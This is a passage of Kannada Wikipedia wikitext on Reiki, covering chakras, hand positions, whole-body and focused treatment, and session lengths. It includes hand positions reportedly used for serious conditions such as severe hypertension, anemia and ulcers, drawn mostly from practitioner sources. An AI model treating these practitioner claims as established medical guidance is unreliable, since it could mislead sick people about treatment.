ಉಚ್ಛ್ರಾಯ ಸ್ಥಿತಿಯ ಒಂದು ಸ್ಥೂಲ ನಕ್ಷೆ.]] ಪಾಶ್ಚಿಮಾತ್ಯ ರೇಖಿಯಲ್ಲಿ, ರೇಖಿಯು, ಕೈಯಿನ-ಭಂಗಿಗಳನ್ನು ಬಳಸಿಕೊಂಡು ಶಿಖರ ಶಕ್ತಿ ರೇಖೆಗಳು ಹಾಗು [[ಚಕ್ರ|ಚಕ್ರಗಳ]] ಸಂಯೋಗದಿಂದ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತದೆಂದು ಕಲಿಸಲಾಗುತ್ತದೆ, ಇದು ಸಾಮಾನ್ಯವಾಗಿ ದೇಹದಲ್ಲಿರುವ ಏಳು ಪ್ರಮುಖ ಚಕ್ರಗಳಿಗೆ ಹೊಂದಿಕೆಯಾಗುತ್ತದೆ. ಈ ಕೈಗಳ-ಭಂಗಿಗಳನ್ನು ದೇಹದ ಮುಂಭಾಗ ಹಾಗು ಹಿಂಭಾಗ ಎರಡಕ್ಕೂ ಬಳಸಲಾಗುತ್ತದೆ, ಹಾಗು ಇವುಗಳು ಕೆಲವು ನಿರ್ದಿಷ್ಟ ಜಾಗಗಳನ್ನು ಒಳಗೊಳ್ಳುತ್ತವೆ(ಕೇಂದ್ರೀಕೃತ ಚಿಕಿತ್ಸೆ ವಿಭಾಗವನ್ನು ನೋಡಿ). ಜೇಮ್ಸ್ ಡೆಕೊನ್ ನಂತಹ ಬರಹಗಾರರ ಪ್ರಕಾರ, ಉಸುಯಿ ಕೇವಲ ಐದು ವಿಧ್ಯುಕ್ತ ಕೈಗಳ-ಭಂಗಿಗಳನ್ನು ಬಳಸಿದರು, ಇದು ತಲೆ ಹಾಗು ಕುತ್ತಿಗೆ ಭಾಗದ ಚಿಕಿತ್ಸೆಗೆ ಹೆಚ್ಚು ಒತ್ತು ನೀಡಿತು.<ref name="JDUsuiOrigHandPos">ಜೇಮ್ಸ್ ಡೆಕೊನ್ (೨೦೦೬), ''ಉಸುಯಿ'ಸ್ ಒರಿಜಿನಲ್ ಹ್ಯಾಂಡ್ ಪೋಸಿಶನ್ಸ್'' (ಆನ್ಲೈನ್). ಲಭ್ಯತೆ: http://www.aetw.org/d_treatment_usui.htm (೨೫ ಫೆಬ್ರವರಿ ೨೦೧೦ರಲ್ಲಿ ಸಂಕಲನಗೊಂಡಿದೆ)</ref> ಮೊದಲು ತಲೆ ಹಾಗು ಕುತ್ತಿಗೆ ಭಾಗಕ್ಕೆ ರೇಖಿ ಚಿಕಿತ್ಸೆಯನ್ನು ನೀಡಿದ ನಂತರ, ಅಸಮತೋಲನ ಉಂಟಾಗಿರುವ ದೇಹದ ನಿರ್ದಿಷ್ಟ ಭಾಗಗಳಿಗೆ ಚಿಕಿತ್ಸೆ ನೀಡಲಾಗುತ್ತಿತ್ತು.<ref name="JDUsuiOrigHandPos" /> ಸಾಂಪ್ರದಾಯಿಕ ಜಪಾನೀಸ್ ರೇಖಿಯಷ್ಟಲ್ಲದಿದ್ದರೂ ಪಾಶ್ಚಿಮಾತ್ಯ ರೇಖಿಯೊಳಗೆ ಚಕ್ರಗಳ ಬಳಕೆಯು ಬಹಳ ಜನಪ್ರಿಯವಾಗಿದೆ, ಏಕೆಂದರೆ ಇದು ''ಬ್ಯೋಸೇನ್-ಹೋ'' ಹಾಗು ''ರೆಯಿಜಿ-ಹೋ'' ನಂತಹ ವಿಧಾನಗಳನ್ನು ಬಳಸಿಕೊಂಡು ದೇಹದ ನಿರ್ದಿಷ್ಟ ಪ್ರದೇಶಗಳಿಗೆ ಚಿಕಿತ್ಸೆ ನೀಡುವ ಕಡೆಗೆ ಹೆಚ್ಚು ಗಮನ ಹರಿಸುತ್ತದೆ, ಈ ವಿಧಾನಗಳನ್ನು, ಸೆಳವರಿವುಗಳು ಹಾಗು ದೇಹದಲ್ಲಿ ಉಂಟಾಗುವ ನೋವಿರುವ(ಅಸೌಖ್ಯವಿರುವ) ಜಾಗಗಳನ್ನು ಗುರುತಿಸಲು ಬಳಸಲಾಗುತ್ತದೆ. ===ಗುಣಪಡಿಸುವಿಕೆ === ಉಸುಯಿ ರೇಖಿ ರಯೋಹೋ ಯಾವುದೇ ಮದ್ದು ಅಥವಾ ಉಪಕರಣಗಳನ್ನು ಬಳಸುವುದಿಲ್ಲ, ಆದರೆ ನೋಡುವುದು,ಓದುವುದು, ಮೆತ್ತಗೆ ತಟ್ಟುವುದು,ಹಾಗು ಸ್ಪರ್ಶಿಸುವುದನ್ನು ಮಾಡುತ್ತದೆ.<ref name="Healing">{{cite book |title=The Original Reiki Handbook of Dr. Mikao Usui: The Traditional Usui Reiki Ryoho Treatment Positions and Numerous Reiki Techniques for Health and Well-being |last=Usui |first=Dr. Mikao |coauthors=Frank Arjava Petter |date= 31 |month=March |year=2000 |publisher=Lotus Press |isbn=0914955578 |page=25}}</ref> ಫ್ರ್ಯಾಂಕ್ ಅರ್ಜಾವ ಪೆಟ್ಟರ್ ರ ಪ್ರಕಾರ, ಉಸುಯಿ ದೇಹದಲ್ಲಿ ಹಾನಿಯಾದ ಭಾಗವನ್ನು ಮುಟ್ಟುತ್ತಿದ್ದರು,ಅವುಗಳಿಗೆ ಮಸಾಜು ಮಾಡುತ್ತಿದ್ದರು,ಮೆಲ್ಲಗೆ ತಟ್ಟುತ್ತಿದ್ದರು,ಪೆಟ್ಟನ್ನು ನೀಡುತ್ತಿದ್ದರು,ಆ ಭಾಗಕ್ಕೆ ಜೋರಾಗಿ ಊದುತ್ತಿದ್ದರು,ಹಾಗು ನಿರ್ದಿಷ್ಟವಾಗಿ ಶಕ್ತಿಯನ್ನು ನೀಡುತ್ತಿದ್ದರು,<ref name="Joshin Kokyuu-ho">{{cite book |title=The Original Reiki Handbook of Dr. Mikao Usui: The Traditional Usui Reiki Ryoho Treatment Positions and Numerous Reiki Techniques for Health and Well-being |last=Usui |first=Dr. Mikao |coauthors=Frank Arjava Petter |date= 31 |month=March |year=2000 |publisher=Lotus Press |isbn=0914955578 |page=22}}</ref> ಜೊತೆಗೆ ''ಪಾಮ್ ಹೀಲಿಂಗ್'' (ಕೈಯಿಂದ ಮೂಲಕ ಚಿಕಿತ್ಸೆ ನೀಡುವುದು) ಎಂದು ಸಾಮಾನ್ಯವಾಗಿ ಕರೆಯಲ್ಪಡುವ ವಿಧಾನವನ್ನು ಪೂರಕ ಹಾಗು ಪರ್ಯಾಯ ಚಿಕಿತ್ಸೆಯಾಗಿ ಬಳಸುತ್ತಿದ್ದರು. ಈ ಪಾಮ್ ಹೀಲಿಂಗ್ ನ್ನು ಬಳಸುವ ಮೂಲಕ(ಕೆಲವೊಂದು ಬಾರಿ "''ತೆನೋಹಿರ'' " ಎಂದು ಸೂಚಿತವಾಗುತ್ತದೆ(掌, ಅರ್ಥ "ಅಂಗೈ"),ವೈದ್ಯರು ಅಂಗೈಗಳ ಮೂಲಕ ''ಕಿ'' ನ ರೂಪದಲ್ಲಿ ಶಾಮಕ ಶಕ್ತಿಯನ್ನು ವರ್ಗಾಯಿಸುತ್ತಾರೆ.<ref name="through hands" /> ===ಸಂಪೂರ್ಣ ದೇಹದ ಚಿಕಿತ್ಸೆ === ಮಾದರಿಯಾದ ಒಂದು ಸಂಪೂರ್ಣ-ದೇಹದ ರೇಖಿ ಚಿಕಿತ್ಸೆಯಲ್ಲಿ,<ref>ಸಂಪೂರ್ಣ ದೇಹ ಚಿಕಿತ್ಸೆ:(ಲುಬೆಕ್ (೧೯೯೪). ಅಧ್ಯಯನಗಳು ೪ ಹಾಗು ೫);(ಮ್ಯಾಕ್ಕೆಂಜಿ (೧೯೯೮). ಪುಟ ೮೪);(ಎಲ್ಲ್ಯರ್ಡ್ (೨೦೦೪). ಪುಟ ೪೫); (ಲುಬೆಕ್,ಪೆಟ್ಟರ್,ಹಾಗು ರಾಂಡ್(೨೦೦೧). ಅಧ್ಯಾಯ ೨೦); (ವೆಲ್ಥಿಯಂ ಹಾಗು ವೆಲ್ಥಿಯಂ (೧೯೯೫). ಪುಟ ೭೯);(ಪೆಟ್ಟರ್ (೧೯೯೭). ಪುಟಗಳು ೫೦ ರಿಂದ ೫೫);(ಬೋರಾಂಗ್ (೧೯೯೭). ಪುಟ ೩೬)</ref> ರೇಖಿ ವೈದ್ಯರು ಚಿಕಿತ್ಸೆಯನ್ನು ಪಡೆಯುವವರಿಗೆ, ಸಾಮಾನ್ಯವಾಗಿ ಮಸಾಜು ಮಾಡುವ ಮೇಜಿನ ಮೇಲೆ ಮಲಗಿ ವಿರಮಿಸಲು ಸೂಚಿಸುತ್ತಾರೆ. ಚಿಕಿತ್ಸೆಯ ಸಮಯದಲ್ಲಿ ಸಡಿಲವಾದ,ಹಿತಕರವಾದ ಉಡುಪನ್ನು ಧರಿಸಲಾಗುತ್ತದೆ. ಒಂದು ಶಾಂತವಾದ ಅಥವಾ ಮನಸ್ಸಿನ ಒಂದು ಧ್ಯಾನಸ್ಥ ಸ್ಥಿತಿಯನ್ನು ತಲುಪಲು ವೈದ್ಯರು ಕೆಲವು ಕ್ಷಣಗಳನ್ನು ತೆಗೆದುಕೊಳ್ಳುತ್ತಾರೆ ಹಾಗು ಚಿಕಿತ್ಸೆ ನೀಡಲು ಮಾನಸಿಕವಾಗಿ ಸಿದ್ಧರಾಗುತ್ತಾರೆ,<ref>ಚಿಕಿತ್ಸೆಯ ಆರಂಭದಲ್ಲಿ ವೈದ್ಯರು ಮಾಡಿಕೊಳ್ಳುವ ಮಾನಸಿಕ ತಯಾರಿ:(ಎಲ್ಲ್ಯರ್ಡ್ (೨೦೦೪). ಪುಟ ೪೬)</ref> ಇದನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ಯಾವುದೇ ಅನಗತ್ಯ ಮಾತುಕತೆಗಳಿಲ್ಲದೆ ನಡೆಸಲಾಗುತ್ತದೆ.<ref>ವಿಧ್ಯುಕ್ತದ ಚಿಕಿತ್ಸೆಗಳ ಅವಧಿಯಲ್ಲಿ ಕಡಿಮೆ ಮಾತನಾಡುವುದು:(ಎಲ್ಲ್ಯರ್ಡ್ (೨೦೦೪). ಪುಟ ೪೫)</ref> ವೈದ್ಯರು ಚಿಕಿತ್ಸೆಯನ್ನು ಪಡೆಯುವವರ ಮೇಲೆ ಕೈಗಳನ್ನು ಹಲವಾರು ಭಂಗಿಗಳಲ್ಲಿ ಇರಿಸುವ ಮೂಲಕ ಚಿಕಿತ್ಸೆಯು ಮುಂದುವರೆಯುತ್ತದೆ. ಆದಾಗ್ಯೂ,ವೈದ್ಯರುಗಳು ರೋಗಿಯನ್ನು ಮುಟ್ಟದ ವಿಧಾನವನ್ನು ಬಳಸಬಹುದು, ಈ ವಿಧಾನದಲ್ಲಿ ರೋಗಿಯ ದೇಹದ ಕೆಲ ಸೆಂಟಿಮೀಟರುಗಳ ದೂರದಲ್ಲಿ ಕೆಲವು ಅಥವಾ ಎಲ್ಲ ಭಂಗಿಗಳಲ್ಲಿ ಕೈಗಳನ್ನು ಚಾಚಲಾಗುತ್ತದೆ. ಮುಂದಿನ ಭಂಗಿಗೆ ಮುಂದುವರೆಯುವ ಮುನ್ನ ಮೂರರಿಂದ ಐದು ನಿಮಿಷಗಳ ಕಾಲ ಕೈಗಳನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ಒಂದೇ ಭಂಗಿಯಲ್ಲಿ ಇರಿಸಿಕೊಂಡಿರಲಾಗುತ್ತದೆ. ಒಟ್ಟಾರೆಯಾಗಿ, ಕೈಗಳ ಭಂಗಿಗಳು ಸಾಮಾನ್ಯವಾಗಿ ತಲೆಯನ್ನು, ಮುಂಡದ ಮುಂಭಾಗ ಹಾಗು ಹಿಂಭಾಗ,ಮಂಡಿಗಳು,ಹಾಗು ಪಾದಗಳನ್ನು ಮುಚ್ಚಿರುವಂತೆ ಕಂಡುಬರುತ್ತದೆ. ೧೨ ರಿಂದ ೨೦ ಭಂಗಿಗಳನ್ನು ಬಳಸಲಾಗುತ್ತದೆ, ಜೊತೆಗೆ ಸಂಪೂರ್ಣ ಚಿಕಿತ್ಸೆಗೆ ೪೫ ರಿಂದ ೯೦ ನಿಮಿಷಗಳ ಅವಧಿ ಹಿಡಿಯುತ್ತದೆ.<ref name="EllyardP41">ಸಂಪೂರ್ಣ ದೇಹ ಚಿಕಿತ್ಸೆ ಹಾಗು ಇತರವುಗಳ ಅವಧಿ: (ಎಲ್ಲ್ಯರ್ಡ್(೨೦೦೪). ಪುಟ ೪೧)</ref> ಹಲವು ಪಾಶ್ಚಿಮಾತ್ಯ ವೈದ್ಯರುಗಳು, ನಿರ್ದಿಷ್ಟವಾಗಿ ಕೈಗಳ ೧೨ ಭಂಗಿಗಳನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ಬಳಸುತ್ತಾರೆ,<ref name="Usui 2000 7" /> ಆದರೆ ಇತರರು ಚಿಕಿತ್ಸೆಯು ಅಗತ್ಯವಿರುವ ಜಾಗಕ್ಕೆ ಮಾರ್ಗದರ್ಶನ ಪಡೆಯಲು ತಮ್ಮ ಅಂತಃಪ್ರಜ್ಞೆಯನ್ನು ಬಳಸಿಕೊಳ್ಳುತ್ತಾರೆ,<ref>ಅಂತಃಪ್ರಜ್ಞೆಯ ಬಳಕೆ:(ಉಸುಯಿ ಹಾಗು ಪೆಟ್ಟರ್(೨೦೦೩). ಪುಟ ೧೭)</ref> ಇದು ಸಾಂಪ್ರದಾಯಿಕ ಜಪಾನೀಸ್ ರೇಖಿಯ ವಿಧಾನವೂ ಸಹ ಹೌದು, ಕೆಲವೊಂದು ಬಾರಿ ಇಂತಹ ಜಾಗಗಳನ್ನು ಗುರುತಿಸಲು ಗ್ರಾಹಿಯನ್ನು "ಸ್ಕ್ಯಾನಿಂಗ್" ಗೆ ಒಳಪಡಿಸಿ ಚಿಕಿತ್ಸೆಯನ್ನು ಆರಂಭಿಸಲಾಗುತ್ತದೆ. ಅಂತಃಪ್ರಜ್ಞೆಗೆ ಪ್ರವೇಶವು,ಅಲ್ಪಾವಧಿ ಅಥವಾ ದೀರ್ಘಾವಧಿಗಳಿಗೆ ಚಿಕಿತ್ಸೆ ನೀಡಲಾಗುವ ವೈಯಕ್ತಿಕ ಭಂಗಿಗಳಿಗೂ ಸಹ ದಾರಿ ಮಾಡಿಕೊಡುತ್ತದೆ. ಸಾಂಪ್ರದಾಯಿಕ ಜಪಾನೀಸ್ ರೇಖಿಯ ಕೇಂದ್ರೀಕೃತ-ಶೈಲಿ ಚಿಕಿತ್ಸೆಗೆ ಹೋಲಿಸಿದರೆ, ಪಾಶ್ಚಿಮಾತ್ಯ ರೇಖಿ ಚಿಕಿತ್ಸೆಯನ್ನು ದೊಡ್ಡ ಪ್ರಮಾಣದ ಚಿಕಿತ್ಸಾ ಮಾದರಿಯೆಂದು ಪರಿಗಣಿಸಲಾಗುತ್ತದೆ.<ref name="Usui 2000 8" /> ಹಲವು ಹಂತಗಳಲ್ಲಿ ಶಕ್ತಿಯನ್ನು ತುಂಬುವ ಕೈಗಳ ೧೨ ಭಂಗಿಗಳನ್ನು,<ref name="Usui 2000 8" /> ಈ ಮೂಲಕ ಬಳಸಲಾಗುತ್ತದೆ, * ಕೈಗಳ ಸುಖೋಷ್ಣದ ಮೂಲಕ ದೈಹಿಕ ಮಟ್ಟವನ್ನು ಕಾರ್ಯೋದ್ಯುಕ್ತಗೊಳಿಸುವುದು, * ರೇಖಿ ಸಂಕೇತಗಳನ್ನು ಬಳಸಿಕೊಳ್ಳುವ ಮೂಲಕ ಮಾನಸಿಕ ಮಟ್ಟವನ್ನು ಕಾರ್ಯೋದ್ಯುಕ್ತಗೊಳಿಸುವುದು, * ಸಂಕೇತಗಳ ಬಳಕೆಯೊಂದಿಗೆ ಉಂಟಾಗುವ ಪ್ರೀತಿಯ ಮೂಲಕ ಭಾವನಾತ್ಮಕ ಮಟ್ಟವನ್ನು ಕಾರ್ಯೋದ್ಯುಕ್ತಗೊಳಿಸುವುದು, * ಚಿಕಿತ್ಸೆಯನ್ನು ಆರಂಭಿಸಿದ ಒಬ್ಬ ವೈದ್ಯರ ಉಪಸ್ಥಿತಿ ಹಾಗು ಸ್ವತಃ ರೇಖಿ ಶಕ್ತಿಯ ಉಪಸ್ಥಿತಿಯ ಮೂಲಕ ಪ್ರಬಲ ಮಟ್ಟವನ್ನು ಕಾರ್ಯೋದ್ಯುಕ್ತಗೊಳಿಸುವುದು.<ref name="Usui 2000 8" /> ಸಾಮಾನ್ಯವಾಗಿ ರೋಗಿಯು ಚಿಕಿತ್ಸೆ ನೀಡುವ ಜಾಗದಲ್ಲಿ ಸುಖೋಷ್ಣತೆ ಅಥವಾ ಜುಮ್ಮೆನಿಸುವ ಅನುಭವವನ್ನು ಪಡೆಯುತ್ತಾರೆಂದು ವರದಿ ಮಾಡಲಾಗಿದೆ, ಇದು ಮುಟ್ಟದೆ ನೀಡುವ ಚಿಕಿತ್ಸೆಯಲ್ಲೂ ಸಹ ಅನುಭವಕ್ಕೆ ಬಂದಿದೆ. ಆಳವಾದ ಶಮನವನ್ನು ಹೊಂದಿರುವ ಸ್ಥಿತಿಯ ಜೊತೆಯಲ್ಲಿ ಆರೋಗ್ಯಕರವಾಗಿರುವ ಒಂದು ಸಾಮಾನ್ಯ ಭಾವನೆಯು ಚಿಕಿತ್ಸೆಯ ತಕ್ಷಣದ ಪರಿಣಾಮವೆಂದು ಸಾಮಾನ್ಯವಾಗಿ ಗುರುತಿಸಬಹುದು, ಆದಾಗ್ಯೂ ಭಾವನಾತ್ಮಕ ವಿಮುಕ್ತಿಗಳೂ ಸಹ ಉಂಟಾಗಬಹುದು.<ref>ಚಿಕಿತ್ಸೆಯ ತಕ್ಷಣದ ಪರಿಣಾಮಗಳು:(ಎಲ್ಲ್ಯರ್ಡ್ (೨೦೦೪). ಪುಟ ೪೪)</ref> ರೇಖಿ ಚಿಕಿತ್ಸೆಯು ದೇಹದ ಸ್ವಾಭಾವಿಕ ಶಮನ ಪ್ರಕ್ರಿಯೆಯನ್ನು ಪ್ರಚೋದಿಸುತ್ತದೆಂದು ಹೇಳಲಾಗುತ್ತಾದರೂ,ನಿರ್ದಿಷ್ಟ ಆರೋಗ್ಯ ಸಮಸ್ಯೆಗಳಿಗೆ ತಕ್ಷಣದ "ಉಪಶಮನಗಳು" ದೊರೆತಿದ್ದರ ಬಗ್ಗೆ ಯಾವುದೇ ಉದಾಹರಣೆಗಳಿಲ್ಲ. ಪರಿಸ್ಥಿತಿಯು ಉಲ್ಬಣಗೊಂಡ ಪಕ್ಷದಲ್ಲಿ, ಮಾದರಿಯಾಗಿ ಒಂದರಿಂದ ಏಳು ದಿನಗಳ ಅವಧಿಯ ನಡುವೆ ನೀಡಲಾಗುವ ಮೂರು ಅಥವಾ ಅದಕ್ಕೂ ಹೆಚ್ಚಿನ ಸರಣಿ ಚಿಕಿತ್ಸೆಗೆ ಶಿಫಾರಸು ಮಾಡಲಾಗುತ್ತದೆ,<ref name="EllyardP41" /> ಹಾಗು ಉತ್ತಮ ಆರೋಗ್ಯ ಸ್ಥಿತಿಯನ್ನು ಕಾಪಾಡಿಕೊಳ್ಳುವ ಸಲುವಾಗಿ ಕ್ರಮಬದ್ಧತೆಯ ಆಧಾರದಲ್ಲಿ ನಿಯಮಿತ ಚಿಕಿತ್ಸೆಗಳನ್ನು ನೀಡಬಹುದು. ಇಂತಹ ಚಿಕಿತ್ಸೆಗಳನ್ನು ಮಾದರಿಯಾಗಿ ಒಂದರಿಂದ ನಾಲ್ಕು ವಾರಗಳ ಅವಧಿಯ ಅಂತರದಲ್ಲಿ ನೀಡಲಾಗುತ್ತದೆ, ಸ್ವಯಂ-ಚಿಕಿತ್ಸೆ ಮಾಡಿಕೊಳ್ಳುವವರು ಸಾಮಾನ್ಯವಾಗಿ ಪ್ರತಿ ನಿತ್ಯವೂ ಚಿಕಿತ್ಸೆಯನ್ನು ಮಾಡಿಕೊಳ್ಳುವುದರಿಂದ ಇದಕ್ಕೆ ಹೊರತಾಗಿರುತ್ತಾರೆ.<ref name="EllyardP41" /> ===ಕೇಂದ್ರೀಕೃತ ಚಿಕಿತ್ಸೆ === [[File:Reiki DSCF2008.jpg|thumb|ಪ್ರಗತಿಯಲ್ಲಿರುವ ರೇಖಿ ಚಿಕಿತ್ಸೆ.]] ಕೇಂದ್ರೀಕೃತ ರೇಖಿ ಚಿಕಿತ್ಸೆಯಲ್ಲಿ, ವೈದ್ಯರು ತಮ್ಮ ಕೈಗಳನ್ನು ಹಾನಿಗೊಳಪಟ್ಟ ದೇಹದ ನಿರ್ದಿಷ್ಟ ಅಂಗದ ಸಮೀಪ ಅಥವಾ ಅದರ ಮೇಲೆ ವಿವಿಧ ಅವಧಿಯಲ್ಲಿ ಇರಿಸುತ್ತಾರೆ. ಆ ತಕ್ಷಣದ ಗಾಯಗಳಿಗೆ ಸಾಮಾನ್ಯವಾಗಿ ಈ ಮಾದರಿಯಲ್ಲಿ ಚಿಕಿತ್ಸೆ ನೀಡಲಾಗುತ್ತದೆ,<ref>ಗಾಯಗಳಿಗೆ ಚಿಕಿತ್ಸೆ:(ಮ್ಯಾಕ್ಕೆಂಜಿ (೧೯೯೮). ಪುಟ ೧೧೦); (ಎಲ್ಲ್ಯರ್ಡ್ (೨೦೦೪). ಪುಟ ೭೦); (ವೆಲ್ಥಿಯಂ ಹಾಗು ವೆಲ್ಥಿಯಂ (೧೯೯೫). ಪುಟ ೭೭)</ref> ಜೊತೆಗೆ ಗಾಯಗೊಂಡ ಭಾಗಕ್ಕೆ ನಿರ್ದಿಷ್ಟವಾಗಿ ಚಿಕಿತ್ಸೆ ನೀಡಲಾಗುತ್ತದೆ. ಇಂತಹ ಚಿಕಿತ್ಸೆಗಳನ್ನು ನೀಡುವ ಕಾಲಾವಧಿಯಲ್ಲಿ ಬಹಳ ವ್ಯತ್ಯಾಸಗಳಿರುತ್ತವೆ, ಆದಾಗ್ಯೂ, ೨೦ ನಿಮಿಷಗಳ ಅವಧಿಯ ಚಿಕಿತ್ಸೆಯು ಮಾದರಿಯಾಗಿದೆ. ತಕಾತ "ಕೇಂದ್ರೀಕೃತ ಚಿಕಿತ್ಸೆಯನ್ನು", ದೂರ ಅಥವಾ "ಅನುಪಸ್ಥಿತವಾಗಿ ಶಮನ ಮಾಡುವುದಕ್ಕೆ" ಹೋಲಿಸಿದರೆ 'ಸಕ್ರಿಯ ಚಟುವಟಿಕೆ' ಎಂದು ವಿವರಿಸಿದ್ದಾರೆ.<ref>ಜೇಮ್ಸ್ ಡೆಕೊನ್ (೨೦೦೬),'' CKR, SHK, ಹಾಗು ಆಬ್ಸೆಂಟ್ ಹೀಲಿಂಗ್'' (ಆನ್ಲೈನ್). ಸಂಕಲನಗೊಂಡಿದ್ದು: ೨೩ ಫೆಬ್ರವರಿ ೨೦೧೦ (ಲಭ್ಯತೆ: http://www.aetw.org/reiki{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} _takata_course೨.htm)</ref> ಕೆಲವು ವೈದ್ಯರುಗಳು, ಕೆಲ ನಿರ್ದಿಷ್ಟ ಕಾಯಿಲೆಗಳಿಗೆ ಕೇಂದ್ರೀಕೃತ ಚಿಕಿತ್ಸೆಯನ್ನು ಬಳಸುತ್ತಾರೆ, ಹಾಗು ಕೆಲವು ಪ್ರಕಾಶನಾಲಯಗಳು ಕೈಗಳ ಸೂಕ್ತ ಭಂಗಿಗಳನ್ನು ಪಟ್ಟಿ ಮಾಡಿವೆ,<ref>reiki.nu (೨೦೦೯), ''ರೇಖಿ ಹ್ಯಾಂಡ್ ಪೋಸಿಶನ್ಸ್ ಫೋಟೋಸ್ - ಟ್ರೀಟಿಂಗ್ ಅದರ್ಸ್, ಸೆಲ್ಫ್ ಅಂಡ್ "ಕ್ವಿಕ್ ವರ್ಶನ್"'' (ಆನ್ಲೈನ್). ೨೩ ಫೆಬ್ರವರಿ ೨೦೧೦ರಲ್ಲಿ ಸಂಕಲಗೊಂಡಿದೆ(ಲಭ್ಯತೆ: http://www.reiki.nu/Treatmentguide2.pdf {{Webarchive|url=https://web.archive.org/web/20200109021324/http://www.reiki.nu/Treatmentguide2.pdf |date=2020-01-09 }})</ref><ref>ನಿರ್ದಿಷ್ಟ ಅಸ್ವಸ್ಥತೆಗಳಿಗಾಗಿ ಕೈಗಳ ಭಂಗಿಗಳು:(ಉಸುಯಿ ಹಾಗು ಪೆಟ್ಟರ್(೨೦೦೩). ಪುಟಗಳು ೪೯ ಹಾಗು ೬೭); (ಲೂಬೆಕ್(೧೯೯೪). ಪುಟಗಳು ೧೭೩ ಹಾಗು ೧೮೪)</ref> ಆದಾಗ್ಯೂ, ಇತರ ವೈದ್ಯರುಗಳು, ಸಮಗ್ರ ಪರಿಣಾಮದ ಆಧಾರದ ಮೇಲೆ ಎಲ್ಲ ತೀವ್ರತರ ಪರಿಸ್ಥಿತಿಗಳಲ್ಲಿ ಸಂಪೂರ್ಣ ದೇಹಕ್ಕೆ ಚಿಕಿತ್ಸೆ ನೀಡಲು ಬಯಸುತ್ತಾರೆ.<ref>ತೀವ್ರತರ ಪರಿಸ್ಥಿತಿಗಳಿಗಾಗಿ ಸಂಪೂರ್ಣ ದೇಹ ಚಿಕಿತ್ಸೆ: (ಮ್ಯಾಕ್ಕೆಂಜಿ (೧೯೯೮). ಪುಟ ೧೦೮);(ವೆಲ್ಥಿಯಂ ಹಾಗು ವೆಲ್ಥಿಯಂ (೧೯೯೫). ಪುಟ ೮೧)</ref> ಮತ್ತೊಂದು ವಿಧಾನದಲ್ಲಿ ಸಂಪೂರ್ಣ ದೇಹಕ್ಕೆ ಮೊದಲು ಚಿಕಿತ್ಸೆ ನೀಡಲಾಗುತ್ತದೆ, ನಂತರ ಯಾವುದೇ ನಿರ್ದಿಷ್ಟ ಅಸ್ವಸ್ಥತೆಗೆ ಕೇಂದ್ರೀಕೃತ ಚಿಕಿತ್ಸೆ ನೀಡಲಾಗುತ್ತದೆ.<ref>ಸಂಪೂರ್ಣ ದೇಹ ಚಿಕಿತ್ಸೆಗೆ ಅನುಸಾರವಾಗಿ ಕೇಂದ್ರೀಕೃತ ಚಿಕಿತ್ಸೆ:(ಮ್ಯಾಕ್ಕೆಂಜಿ(೧೯೯೮). ಪುಟ ೧೦೫)</ref> ಉಸುಯಿ, ಕೆಲ ನಿರ್ದಿಷ್ಟ ಅಸ್ವಸ್ಥತೆಗಳು ಹಾಗು ನೋವುಗಳಿಗಾಗಿ ಅಸೌಖ್ಯ) ಕೆಲವು ನಿರ್ದಿಷ್ಟ ಕೈಗಳ ಭಂಗಿಗಳನ್ನು ಬಳಸಿದರು,<ref>{{cite book |title=The Original Reiki Handbook of Dr. Mikao Usui: The Traditional Usui Reiki Ryoho Treatment Positions and Numerous Reiki Techniques for Health and Well-being |last=Usui |first=Dr. Mikao |coauthors=Frank Arjava Petter |date= 31 |month=March |year=2000 |publisher=Lotus Press |isbn=0914955578 |page=28}}</ref> ಇದರಲ್ಲಿ ನರಮಂಡಲದ ಅಸ್ವಸ್ಥತೆ(ಉದಾಹರಣೆಗೆ ಚಿತ್ತಕ್ಷೋಭೆ),<ref>{{cite book |title=The Original Reiki Handbook of Dr. Mikao Usui: The Traditional Usui Reiki Ryoho Treatment Positions and Numerous Reiki Techniques for Health and Well-being |last=Usui |first=Dr. Mikao |coauthors=Frank Arjava Petter |date= 31 |month=March |year=2000 |publisher=Lotus Press |isbn=0914955578 |page=49}}</ref> ಉಸಿರಾಟದ ತೊಂದರೆಗಳು(ಉದಾಹರಣೆಗೆ ಶ್ವಾಸನಾಳದ ಉರಿಯೂತ),<ref>{{cite book |title=The Original Reiki Handbook of Dr. Mikao Usui: The Traditional Usui Reiki Ryoho Treatment Positions and Numerous Reiki Techniques for Health and Well-being |last=Usui |first=Dr. Mikao |coauthors=Frank Arjava Petter |date= 31 |month=March |year=2000 |publisher=Lotus Press |isbn=0914955578 |page=52}}</ref> ಜೀರ್ಣಾಂಗ ತೊಂದರೆಗಳು(ಉದಾಹರಣೆಗೆ ಜಠರದ ಹುಣ್ಣುಗಳು),<ref>{{cite book |title=The Original Reiki Handbook of Dr. Mikao Usui: The Traditional Usui Reiki Ryoho Treatment Positions and Numerous Reiki Techniques for Health and Well-being |last=Usui |first=Dr. Mikao |coauthors=Frank Arjava Petter |date= 31 |month=March |year=2000 |publisher=Lotus Press |isbn=0914955578 |page=54}}</ref> ರಕ್ತಪರಿಚಲನೆಯ ತೊಂದರೆಗಳು(ಉದಾಹರಣೆಗೆ ತೀವ್ರತರವಾದ ಅಧಿಕ ರಕ್ತದೊತ್ತಡ),<ref>{{cite book |title=The Original Reiki Handbook of Dr. Mikao Usui: The Traditional Usui Reiki Ryoho Treatment Positions and Numerous Reiki Techniques for Health and Well-being |last=Usui |first=Dr. Mikao |coauthors=Frank Arjava Petter |date= 31 |month=March |year=2000 |publisher=Lotus Press |isbn=0914955578 |page=56}}</ref> ಚಯಾಪಚಯ ಹಾಗು ರಕ್ತದ ತೊಂದರೆಗಳು(ಉದಾಹರಣೆಗೆ [[ರಕ್ತಹೀನತೆ]]),<ref>{{cite book |title=The Original Reiki Handbook of Dr. Mikao Usui: The Traditional Usui Reiki Ryoho Treatment Positions and Numerous Reiki Techniques for Health and Well-being |last=Usui |first=Dr. Mikao |coauthors=Frank Arjava Petter |date= 31 |month=March |year=2000 |publisher=Lotus Press |isbn=0914955578 |page=57}}</ref> ಮೂತ್ರಾಂಗ ಪ್ರದೇಶದ ತೊಂದರೆಗಳು(ಉದಾಹರಣೆಗೆ ಮೂತ್ರಪಿಂಡದ ಉರಿಯೂತ),<ref>{{cite 